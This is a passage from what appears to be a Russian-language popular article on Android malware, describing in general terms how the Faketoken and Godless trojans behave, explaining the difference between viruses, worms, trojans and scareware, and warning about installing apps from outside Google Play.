  • После этого методом всё того же терморектального криптоанализа троян добывает себе права на отображение всплывающих окон и подмену собой стандартного приложения для отправки SMS.
  • После успеха в завоеваниях троян связывается со своим управляющим сервером в интернете и скачивает оттуда шаблонные фразы на 77 языках, которыми потом будет шантажировать пользователя мобильника.
  • Затем с помощью заготовленных фраз Faketoken начинает гадить в системе полноэкранными сообщениями в стиле «подтвердите имя и пароль своего аккаунта в Gmail» и «у нас теперь в Google Play обязательно нужно привязывать карточку, введите необходимые данные». До победного конца, разумеется.
  • Троян резвится в системе, отправляет и принимает SMS, совершает звонки, скачивает приложения. А напоследок — блокирует экран, шифрует все файлы во внутренней памяти и microSD и требует «выкуп».

Godless

Троян Godless впечатляет даже не своей, так сказать, функциональностью, а маскировкой — длительное время его наличие в приложениях не распознавала даже хваленая система антивирусной проверки в Google Play. Результат немного предсказуем — зловред заразил свыше 850 тысяч смартфонов по всему миру, причём почти половина из них принадлежит жителям Индии, что как бы намекает на происхождение трояна.

Скачиваешь себе фонарик из Google Play — подхватываешь неудаляемый вирус с шифрованием и root-правами

Функциональность трояна слабо отличается от его многочисленных коллег в 2016 году, новым стал только «зачин»:

  • Пользователь смартфона загружает приложение из Google Play , включает его, в результате чего вместе с приложением запускается и троян. Вы только не подумайте что-то плохое о проверке Google, ведь в этом «комплекте» нет зловредного кода — зловредный код троян скачивает при первом запуске.
  • Для начала Godless добывает на смартфоне root-права , бесплатно без SMS. С помощью примерно такого же набора средств, как в этих ваших Towelroot, например. Такие операции троян проводит при выключенном экране.
  • После этого наглый троян отправляет себя в папку /system (откуда его уже не удалить без перепрошивки ) и шифрует себя при помощи AES-ключа.
  • С полным комплектом прав доступа Godless начинает понемногу воровать личные данные пользователи со смартфона и устанавливать сторонние приложения. В первоначальных своих версиях троян, кстати, прятал с глаз пользователя стандартный Google Play и заменял его «пародией», через которую воровал имя и пароль от учётной записи.

Среди приложений, к которым чаще всего «прикручивали» Godless, были многочисленные «фонарики» и клоны известных игр для Android.

Что вообще стоит знать о вирусах

Первое, что нужно знать о вирусах для платформы Android: не все из них — это вирусы в исконном значении этого слова. Так нередко случается в живом языке: орнитологи различают филинов, сычей и сов, но в народе все эти птицы — «совы». Специалисты отличают хакеров от «детворы со скриптами» и кракеров, но для неспециалистов все эти категории людей остаются хакерами.

Со зловредными приложениями такая картина — технически они подразделяются на вирусы , черви , трояны , adware (навязчивую рекламу) и «страшилки» , но почти никого не заботят такие тонкости. Мол, вирусы — они и есть вирусы.

Различия между «сортами радости» следующие:

  • Вирус — зловредная программа, которая незаметно проникает на компьютер благодаря уязвимости системы. И, что самое важное — не занимается вредительством самостоятельно, а заражает другие файлы в системе. Такой зловред в случае с Android должен бы был проникать после банального клика на рекламу или посещения сайта, а потом «переписывать» под себя Gmail, ВКонтакте и другие приложения таким образом, чтобы после удаления оригинального вируса заражённые приложения продолжали делать своё чёрное дело.
  • Червь — делает плохое дело и жёстко, беспощадно, всеми возможностями распространяет самого себя по всем каналам связи. На компьютерах черви рассылали себя по e-mail, мессенджерам, локальной сети, флешкам — то есть, клонировали себя самым бесстыжим образом.
  • Троян никогда не стучится в систему извне — вы устанавливаете и запускаете зловредную программу собственноручно. Так происходит, потому что трояны подменяют рядовые, привычные и известные всем приложения, а иногда их просто «пришивают» к вполне работоспособным программам. То есть, покупаете скачиваете полезную программу — и получаете вредоносную в подарок!
  • «Страшилки» (scareware) — приложения, наводящие панику: «О боже, да у вас весь смартфон в вирусах и приложениях для прослушки спецслужбами всего мира! Скачайте наш антивирус и узнайте всю правду!». Скачиваете, запускаете, проводите так называемую проверку, после которой программа говорит: «Ужасающее количество вирусов в системе! Ваш телефон умрёт, если не удалить вирусы, но для этого Вы должны ввести данные своей банковской карты здесь и вот здесь». Такую прелесть зачастую игнорируют все антивирусы, потому что она ничего не взламывает и не ворует в системе — просто обманывает покупателя и просит денег.

Загрузка приложений не из Google Play — самый очевидный путь заражения андроидофона

Большинство зловредных приложений для Android представляют собой трояны. И, сколько бы энтузиасты не хихикали, вероятность подхватить троян на смартфоне далеко не нулевая. Потому что, если Google Play проверяет исполняемый код приложений, то порядочность софта и игр из «неизвестных источников» никак не гарантируется.

А к «неизвестным источникам» не всегда прибегают по глупости. Там можно найти облегчённые мессенджеры WhatsApp, Viber, Skype, которые занимают меньше места в памяти и работают быстро даже на старых смартфонах. Или перепакованные банковские клиенты, которые не будут ругаться на Cyanogenmod вместо официальной прошивки. А еще из Google Play периодически удаляют эмуляторы консолей, позволяющие сыграть, например, в Gran Turismo на Android. В конце-концов, в Play просто есть не все приложения.

Ссылка на основную публикацию